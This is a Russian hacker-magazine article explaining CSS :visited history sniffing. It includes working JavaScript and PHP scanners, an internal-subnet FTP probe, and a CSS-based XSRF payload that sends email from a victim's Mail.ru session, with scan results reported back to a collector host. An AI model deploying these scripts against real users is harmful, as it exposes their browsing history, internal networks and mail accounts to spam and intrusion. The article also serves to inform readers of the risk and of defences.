Перед взломом сервера вы первоначально занимаетесь его изучением. Вы определяете платформу, на которой работают сервисы, их версии и уже только после этого приступаете к самому нападению. При сетевой разведке, и промышленном шпионаже используется идентичная технология. И это оправдано, атака вслепую никогда не будет столь эффективной, как точечные удары...

Как уже писал
Хакер, в прошлом году написание вредоносного кода на JavaScript и AJAX перешло из разряда исследовательской работы в коммерческую. В феврале компания ИТ-безопасности Websense обнаружила, что веб-сайт стадиона Dolphin был заражен троянским кодом на JavaScript: вместо обычной замены текста на главной странице злоумышленники встроили туда незаметный вредоносный код. Дальнейшее исследование показало, что таким образом уже были заражены десятки сайтов.

Коммерческая подоплека диктует свои правила. Интересы хакеров постепенно смещаются в сторону краж конфиденциальных данных пользователей: адресов, телефонов,
логинов, паролей, номеров страхования и данных о кредитных картах клиентов. Поэтому хакеры собирают максимальное количество данных о своих будущих жертвах... Чтобы с большой вероятностью получить эти данные, атакующий собирает информацию
о том, какими сервисами пользуется клиент. Ведь ни для кого не секрет, что твои паспортные данные нельзя похитить в том случае, если у тебя
паспорта нет вообще. А вот если ты используешь PayPal, можно попытаться захватить твою учетную запись...

 

Сканирование

Как же определить, по каким сайтам ходит пользователь?
Техника сканирования довольно проста и вы будете сильно удивлены, ведь уже давно пользуетесь ею сами! Дело в том, что браузер сам запоминает определенное количество посещаемых вами ссылок, и если он снова встретит одну из них, то самостоятельно напомнит вам об этом, изменяя цвет текста:

Опытные дизайнеры уже давно пользуются этим приемом, чтобы выделять посещенные пользователем ссылки. Кто бы мог подумать, что хакеры и здесь найдут свою выгоду...

 

Спецификация

Корни проблемы уходят далеко в историю, возвращая нас в декабрь 1996 года и заставляют обратится к спецификации CSS ("Cascading Style Sheets, level 1"
[1]). Полное ее изучение оставим для самых старательных читателей, в данном случае нам интересны только псевдо-классы. Последние используются в селекторах и привносят некую динамику при обработке каскадных таблиц стилей браузером. Для тега ссылки (<А/>) в первой версии CSS описаны три псевдо-класса: link, visited и active. Они используются при маркировке не посещенных, или посещенных ссылок, или даже тех, на которых вы сейчас находитесь:

A:link { color: red } /* unvisited link */
A:visited { color: blue } /* visited links */
A:active { color: lime } /* active links */

Если вы вообще не знакомы с CSS, то для понимания можете прочитать параграф 2.1, приложение [1]. А мы идем дальше, чтобы понять, как использовать эти знания для дальнейшего сканирования конечных пользователей.

 

Изобретатель

В августе 2006 специалист по безопасности Jeremiah Grossman
[2] на очередной хакерской конференции BlackHat продемонстрировал набор утилит для сканирования, написанных с использованием JavaScript, CSS и HTML. От некоторых примеров гости были шокированы, он показал, как, используя простые утилиты, взламывать роутеры, принтеры, IP-телефонию, сайты и т.д. Это был переломный момент в истории веб-безопасности, с этого времени уже ни один уважающий себя специалист не мог больше игнорировать эту тему. Безопасность интерактивных веб-приложений окончательно утвердила себя как класс.

«Взломав некий сайт и добавив в него свой JavaScript-код, я получил возможность для сканирования его посетителей, их систем; их внутренней сети со всеми роутерами, принтерами и серверами, недоступными извне» - говорит Гроссман. Да, действительно, он обратил внимание общественности на проблему. И он абсолютно прав, ведь если вы обнаружили XSS на сайте, после чего внедрили свой код, пользователю достаточно один раз на него зайти, чтобы стать потенциальной жертвой.

Одна из демонстраций сканировала историю браузера. В качестве примера автор предлагает следующий скрипт для
Firefox:

<H3>На этих ты был:</H3>
<ul id="visited"></ul>

<H3>На этих не был:</H3>

<ul id="notvisited"></ul>

<script>
// Список сайтов для сканирования:
var websites = [
  "https://xakep.ru",
  "http://mail.ru/",
  "http://www.mail.ru/",
  "http://ajaxian.com/",
  "http://digg.com/",
  "http://english.aljazeera.net/HomePage",
  "http://ha.ckers.org",
  "http://ha.ckers.org/blog/",
  "http://jeremiahgrossman.blogspot.com/",
  "http://login.yahoo.com/",
  "http://mail.google.com/",
  "http://mail.yahoo.com/",
  "http://my.yahoo.com/",
  "http://reddit.com/",
  "http://seoblackhat.com",
  "http://slashdot.org/",
  "http://techfoolery.com/",
  "http://weblogs.asp.net/jezell/",
  "http://www.amazon.com/",
  "http://www.aol.com/",
  "http://www.google.com/",
  "http://mail.google.com/",
  "http://www.yahoo.com",
  "http://www.gnucitizen.org",
  "http://www.securityfocus.com",
  "http://www.nba.com"
];

// Проходимся по списку
for (var i = 0; i < websites.length; i++) {

	// создаем тег ссылки для тестирования
	var link = document.createElement("a");
	link.id = "id" + i;
	link.href = websites[i];
	link.innerHTML = websites[i];

	// определяем селектор для посещенных ссылок
        // теперь они приобретают красный цвет текста
	document.write('<style>');
	document.write('#id' + i + ":visited {color: #FF0000;}");
	document.write('</style>');

	// добавляем ссылку в HTML-код страницы
	document.body.appendChild(link);

        // берем ее цвет
	var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
	// удаляем ее
        document.body.removeChild(link);

	// и наконец проверяем, какого она была цвета
	if (color == "rgb(255, 0, 0)") { // красная – значит, посещенная

		// рисуем ее как посещенную
		var item = document.createElement('li');
		item.appendChild(link);
		document.getElementById('visited').appendChild(item);

	} else { // не посещенная
               // рисуем ее как не посещенную
		var item = document.createElement('li');
		item.appendChild(link);
		document.getElementById('notvisited').appendChild(item);
	} 
} 
</script>

Этот скрипт создает теги ссылок и проверяет их цвет, если красный – ссылка была уже посещена, другой – на нее не переходили. Так составляется список посещенных страниц, при желании доступна онлайн-демонстрация этого кода
[3]. Немного позже другой автор предложил вариант, работающий во всех браузерах. Новый вариант работает на тестировании размеров ссылки, а не ее цвета:

(онлайн-демонстрация доступна в сети [4])

var searchurls = [
  "https://xakep.ru",
  "http://mail.ru/",
  "http://www.mail.ru/",
  "http://ajaxian.com/",
  "http://digg.com/",
  "http://english.aljazeera.net/HomePage",
  "http://ha.ckers.org",
  "http://ha.ckers.org/blog/",
  "http://jeremiahgrossman.blogspot.com/",
  "http://login.yahoo.com/",
  "http://mail.google.com/",
  "http://mail.yahoo.com/",
  "http://my.yahoo.com/",
  "http://reddit.com/",
  "http://seoblackhat.com",
  "http://slashdot.org/",
  "http://techfoolery.com/",
  "http://weblogs.asp.net/jezell/",
  "http://www.amazon.com/",
  "http://www.aol.com/",
  "http://www.google.com/",
  "http://mail.google.com/",
  "http://www.yahoo.com",
  "http://www.gnucitizen.org",
  "http://www.securityfocus.com",
  "http://www.nba.com"
];

document.write( '<style type="text/css">#nicked a:link{color:#fff;}' );
document.write( '#nicked a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' );
document.write( '#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>' );
var output = '<h1>Look where you\'ve been:</h1><ul>';
var c = document.createElement('div');
c.id='nicked';
document.body.appendChild(c)
for(i in searchurls){
	var temp=document.createElement('a');
	temp.href=searchurls[i];
	temp.innerHTML=searchurls[i];
	c.appendChild(temp)
	if(temp.offsetHeight==1){
		output+='<li>'+searchurls[i]+'</li>';
	}
}
document.write(output+'</ul>');

Таким образом, скрипт определяет, что посещенные ссылки будут иметь размер 1х1 пикселей:

<style type="text/css">
#nicked a:visited
{
         height:1px;
         width:1px;
         display:block;
         overflow:hidden;
         margin:1px;
}
</style>

После чего проверяет действительный размер для всех ссылок со списка, и если высота составляет 1 пиксель, сайт был посещен:

var temp=document.createElement('a');
temp.href=searchurls[i];

if(temp.offsetHeight==1)
{
	// Сайт посещен!
}

В данном случае мы говорим о сетевой разведке, дающей вполне ощутимые результаты. Например, вас могут сканировать, чтобы определить ваш почтовый сервер. Если вы пользуетесь веб-интерфейсом почтовой службы Mail.Ru, то набираете адрес http://www.mail.ru; с другой стороны, пользователи Rambler вводят сайт рамблера. Просканировав посещенные страницы, атакующий может определить ваш почтовый сервер, и если он владеет техникой для его взлома, выбрать нужный метод, чтобы захватить вашу почту...

 

Занимательная арифметика или спам

Для убедительности я постараюсь продемонстрировать опасность данного сканирования в комбинации с другими атаками. Давайте посмотрим, как эта техника может быть использована для сбора почтовых адресов или рассылки спама.

Задача: какое количество почтовых адресов может быть собрано с одного форума, если он уязвим к
XSS?

По условиям задачи у нас дано:

F (Форум) = 1 шт.
X (Уязвимость XSS) >= 1 шт.

Введем следующие понятия:

T (Длительность атаки) = t

Время t вычисляется как сумма времени, необходимого для реакции администраторов сайта и время на исправление ошибок форума.

Клиентов(N) = n

Количество клиентов n можно определить вычитанием из общего количества уникальных посещений за t часов, количества пользователей, не использующих почтовые веб-интерфейсы, пользователей, не загруженных в почтовую систему и пользователей с отключенными скриптами.

Как тест, пример будет реагировать на единственный почтовый сервер Mail.RU, на практике хакер может прописать сотни серверов. Для определения почтового адреса пользователя будем отправлять от его имени письмо с темой account (используя XSRF). Таким образом, получив письмо, мы пополним нашу базу почтовых адресов еще одним клиентом. Процесс эксплуатации состоит из двух компонент:

  1. Сканирование клиента делается по выше описанному принципу, в результате мы получаем информацию о том, использует ли он почту на
    Mail.RU.
  2. Для отправки письма будем использовать метод XSRF. Запрос на отправку письма будет прогружаться через изображение как фоновый рисунок посещенной ссылки.

И, собственно, сам код (упрощенный вариант):

<style>
.mail:visited /* отправка письма */
{ 
    background-image: 
     url( 
      http://win.mail.ru/cgi-bin/sendmsg? 
        send=1&To=0xfa60@notexists.com 
           &Subject=accountff&&text=account 
     );  /* так выглядит форма на отправку письма, переработанная в GET-запрос */
}
</style>
<a href="http://www.mail.ru" class="mail">mail.ru</a> <!-- проверка на Mail.RU -->

В действительности атакующий может расширить функциональность и производить проверку большего количества почтовых систем. Более того, при желании код можно модифицировать для организации спам-рассылок, так что если у посетителя форума есть активная сессия на почтовом сервере, он сам становится источником спама, и именно с его адреса производится отправка рекламы! Бесплатный спам-трафик – дешевый спам 🙂

Уязвимость одного форума превращает его в стартовую площадку для всех последующих атак. И уязвимыми становятся почти все пользователи, они и так уязвимы, поскольку мы предполагаем, что ошибки существуют в большинстве веб-сервисов, просто к самим сервисам мы уже не привязаны и в большинстве случаев можем осуществлять атаки с других сайтов. А сканирование позволяет делать направленные атаки на конкретные службы. Что немаловажно, если количество возможных вариантов достигает тысячи. Запомните, не растрачивая сетевые ресурсы на попытки эксплуатации каждого сервиса, мы выигрываем время на саму атаку!

Аналитики компании MessageLabs опубликовали мартовский отчет о безопасности. Отмечается, что из 716 электронных сообщений, полученных MessageLabs, 249 были направлены на конкретные организации или пользователей. Таким образом, специалисты говорят о том, что спамерские и фишинговые атаки стали очень адресными и направлены на конкретных получателей. В MessageLabs отмечают, что с каждым днем эффективность массовых рассылок падает, а финансовые затраты растут. Поэтому злоумышленники начали переходить к более прямым и наглым методам.

Другой пример - нам необходимо подобрать пароль на внутренний FTP-сервер компании. Мы знаем, что ее сотрудники посещают корпоративный форум, последний доступен из Интернета и каждый желающий (потенциальный клиент) может задать свой вопрос. Вопросы читают сотрудники, это их работа, и это нормально. Нормально также то, что время от времени они посещают внутренний FTP-сервер компании, чтобы получить свежую документацию. Ненормально то, что атакующий может попытаться взломать форум извне и просканировать внутреннюю сеть в поисках этого самого FTP, более того, он может даже подбирать пароли (все это действительно, если для работы с FTP используется браузер)...

 

Проникновение на FTP

Существует ряд технологий для определения внутреннего IP адреса посетителя сайта, но о них мы поговорим в другой раз. Зато, определив его адрес, например, 192.168.150.1, мы можем предположить, что FTP-сервер находится с ним в одной подсети, и пользователь заходит на него время от времени. В таком случае, чтобы найти его, нет необходимости перебирать весь диапазон адресов, достаточно просканировать подсеть класса С...

document.write( '<style type="text/css">#nicked a:link{color:#fff;}' );
document.write( '#nicked a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' );
document.write( '#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>' );
var output = '<h1>Look where you\'ve been:</h1><ul>';
var c = document.createElement('div');
c.id='nicked';
document.body.appendChild(c)
for(i=1;i<255;i++){
	var temp=document.createElement('a');
	temp.href="ftp://192.168.150."+i;
	temp.innerHTML="ftp://192.168.150."+i;
	c.appendChild(temp)
	if(temp.offsetHeight==1){
		output+='<li>'+("ftp://192.168.150."+i )+'</li>';
	}
}
document.write(output+'</ul>');

В результате мы сканируем не 4294967296 адресов, а всего лишь 254! Задумайтесь, такие показатели производительности не могут оставить равнодушными никого. Но и это еще не все, применяя технику сканирования, мы можем попытаться подобрать пароль пользователя. Используя ftp://login:password@ftp.server как маску для сканирования, в комбинации с XSRF позволяют определить все необходимые данные для успешного проникновения на сервер.

 

Не только скрипт

Скрипты - всего лишь один из способов сканирования, в примере с почтовыми системами внимательные читатели могли заметить их полное отсутствие. Да, действительно, можно обойтись и без них. На практике хватает HTML и CSS на стороне клиента, плюс PHP со стороны сервера:

<?PHP

$listURL = array( "http://mail.google.com"
		, "http://www.xakep.ru"
		, "http://www.ya.ru"
		, "http://www.webmoney.ru"
		, "http://www.securitylab.ru"
		, "http://www.voffka.com"
		, "http://www.membrana.ru"
		, "http://google.com"
		, "http://www.google.com"
		, "http://www.google.com.ua"
		, "http://www.nnm.ru"
		, "http://nnm.ru"
		);

$scannerURL 	= 'http://0xfa60/visited/test.php';

function getScannerCode($listURL, $scannerURL )
{
	$format = array( "style" => ".url%2\$u:visited { background-image: url('%1\$s?id=%2\$u'); }\n"
	,"link"  => "<a href='%1\$s' class='url%2\$u'></a>\n"
	);

$code = array( "style"      => ''
	, "link"       => ''
	, "status"     => array()
	, "listURL"    => $listURL
	, "scannerURL" => $scannerURL
	);

foreach ($listURL as $i => $value) 
{

$code["style"] .= sprintf( $format["style"], $scannerURL, $i);
$code["link"]  .= sprintf( $format["link"], $listURL[$i], $i);
$code['status'][$i] = 0;

}

$code["style"] = "<style>\n{$code['style']}</style>\n\n";

return $code;
}

if ( $_GET['id'] != '' ) 
{
	session_start();

	$_SESSION['scan']['status'][$_GET['id']] = 1;
}
else
{

	if( ($_GET['scan'] == 'start') || ( $_GET['scan'] == '' )  )
	{ 
		session_start();
		session_unset();

		$_SESSION['scan'] 	= 
	getScannerCode($listURL, $scannerURL ); 

echo( '<meta http-equiv="refresh" content="5;url='
. $_SESSION['scan']['scannerURL'] . '?scan=stop" />' . "\n\n"  );

echo( $_SESSION['scan']['style'] . $_SESSION['scan']['link'] );

echo( '<a href=#wait>WAIT, SCAN IN PROGRESS...</a>' );

};

if( $_GET['scan'] == 'stop')
{ 
	session_start();

	echo( "<b>12.04.07 Visited URL scann, version without JavaScript Code</b><br><hr>" );
	echo( "<a href={$scannerURL}?scan=start>START</a><br><br>" );

	if( count($_SESSION['scan']['listURL']) != 0 )
	{
  	  echo( '<b>Visited URLs: </B><br>' );

	  $message = '<B>No visited URLs!</B><br>';

	   foreach ($_SESSION['scan']['listURL'] as $i => $value) 
	   {
		if( $_SESSION['scan']['status'][$i] == 1 )
		{ 
		   echo( "{$_SESSION['scan']['listURL'][$i]}<br>" );
		   $message = '';
		}
	   }
	} 

	session_unset();
	session_destroy();
	}
}

?>

В результате создается следующий HTML-код:

<meta http-equiv="refresh" content="5;url=http:// 0xfa60/visited/test.php?scan=stop" />

<style>
.url0:visited { background-image: url('http://0xfa60/visited/test.php?id=0'); }
.url1:visited { background-image: url('http://0xfa60/visited/test.php?id=1'); }
.url2:visited { background-image: url('http://0xfa60/visited/test.php?id=2'); }
.url3:visited { background-image: url('http://0xfa60/visited/test.php?id=3'); }
.url4:visited { background-image: url('http://0xfa60/visited/test.php?id=4'); }
.url5:visited { background-image: url('http://0xfa60/visited/test.php?id=5'); }
.url6:visited { background-image: url('http://0xfa60/visited/test.php?id=6'); }
.url7:visited { background-image: url('http://0xfa60/visited/test.php?id=7'); }
.url8:visited { background-image: url('http://0xfa60/visited/test.php?id=8'); }
.url9:visited { background-image: url('http://0xfa60/visited/test.php?id=9'); }
.url10:visited { background-image: url('http://0xfa60/visited/test.php?id=10'); }
.url11:visited { background-image: url('http://0xfa60/visited/test.php?id=11'); }
</style>

<a href='http://mail.google.com' class='url0'></a>
<a href='http://www.xakep.ru' class='url1'></a>
<a href='http://www.ya.ru' class='url2'></a>
<a href='http://www.webmoney.ru' class='url3'></a>
<a href='http://www.securitylab.ru' class='url4'></a>
<a href='http://www.voffka.com' class='url5'></a>
<a href='http://www.membrana.ru' class='url6'></a>
<a href='http://google.com' class='url7'></a>
<a href='http://www.google.com' class='url8'></a>
<a href='http://www.google.com.ua' class='url9'></a>
<a href='http://www.nnm.ru' class='url10'></a>
<a href='http://nnm.ru' class='url11'></a>
<a href=#wait>WAIT, SCAN IN PROGRESS...</a>

Как видите, в нем нет и намека на скрипты. Зато возможная угроза возрастает в несколько раз, ведь защититься от санирования простым отключением скриптов не выйдет. А внедрить такой код достаточно просто через фрейм. Впервые такую технику предложил Robert Hansen из хакерской группы Rsnake, демонстрация которой доступна в сети
[5].

Этот вариант базируется на использовании стиля background-image. Если ссылка уже была посещена, для нее устанавливается фоновое изображение, адрес которого на самом деле указывает на CGI-скрипт. В результате получается сканнер, работающий по модели AJAX (асинхронного обмена данными), и опять-таки прирост производительности. Но и это еще не все, сканирование можно использовать для подбора сессии или слежения сетевой активности пользователя...

 

Ссылки, сессии и время

Используя сканирование истории, можно определить ваши интересы. Для статьи я написал маленькие примеры, которые помогут вам представить возможные цели сканирования. Во всех тестах используется сайт Хакер.Ру:

1. Используя сканирование, можно определить ваши интересы, см. 1.html в приложении [8]. Проверяя определенные ссылки различных рубрик, можно определить категорию интересов посетителя, чтобы в дальнейшем знать, с кем вы имеете дело.

2. Сканирование позволяет узнать, чем ты занимаешься на сайте , см. 2.html - лежит там же.

3. Можно определить, как часто вы посещаете этот сайт, см. 3.html.

О точности полученных данных можно поспорить, но факт остается фактом, о вас можно узнать намного больше информации, чем вы предполагали ранее. Используя все эти методы, можно подбирать сессии пользователя, определять, чем он занимается, какими функциями пользуется и т.д.

 

Заключение

По заявлениям Гроссмана, в тестах на производительность сканнера ему хватает нескольких секунд, чтобы просканировать 2,000 адресов без повышенной загрузки процессора или подвисаний браузера. Учитывая тот факт, что серферы в среднем проводят на одной странице от 5 до 20 секунд, можно только представить, сколько адресов можно проверить за это время.

Единственный способ защититься – полное отключение истории, хотя для некоторых браузеров это не является возможным. Для того, чтобы чувствовать себя защищенным, вы можете воспользоваться рядом утилит, предназначенных специально для очистки истории, например, SafeHistory для Firefox, см.
[6]. В случае, если вы хотите обезопасить себя в Интернет-кафе или на работе (в месте, где вы не имеете административных прав на установку ПО), очистку истории можно произвести вручную:

«По мере роста важности технологии JavaScript для веб-сайтов и применения её в веб-страницах web 2.0 с интерактивными элементами хакеры обращают на этот язык сценариев более пристальное внимание. Об опасностях, связанных с JavaScript, говорили специалисты ИТ-безопасности на конференции CanSecWest 18 апреля 2007 года. Большинство экспертов, посетивших конференцию, сошлись во мнении, что количество угроз с использованием JavaScript будет со временем нарастать»,
[7].

1. Cascading Style Sheets, level 1
http://www.w3.org/TR/REC-CSS1-961217.html

2. Jeremiah Grossman's Blog
http://jeremiahgrossman.blogspot.com/

3. CSS History Hack (Firefox)
http://ha.ckers.org/weird/CSS-history-hack.html

4. CSS History Hack (Firefox + IE)
http://icant.co.uk/sandbox/nickhistory.html

5. CSS History Hack Without JavaScript
http://ha.ckers.org/weird/CSS-history.cgi

6. Clear Internet history Freeware
http://www.morun.net/www/clear-history/clear-internet-explorer-history.html

7. JavaScript «оружие» хакеров
http://www.cnews.ru/news/line/index.shtml?2007/04/20/246857

8. Примеры

Check Also

На облачной платформе Heroku обнаружены веб-скиммеры MageCart

Специалисты Malwarebytes обнаружили веб-скиммеры на облачной PaaS-платформе Heroku, принад…

Оставить мнение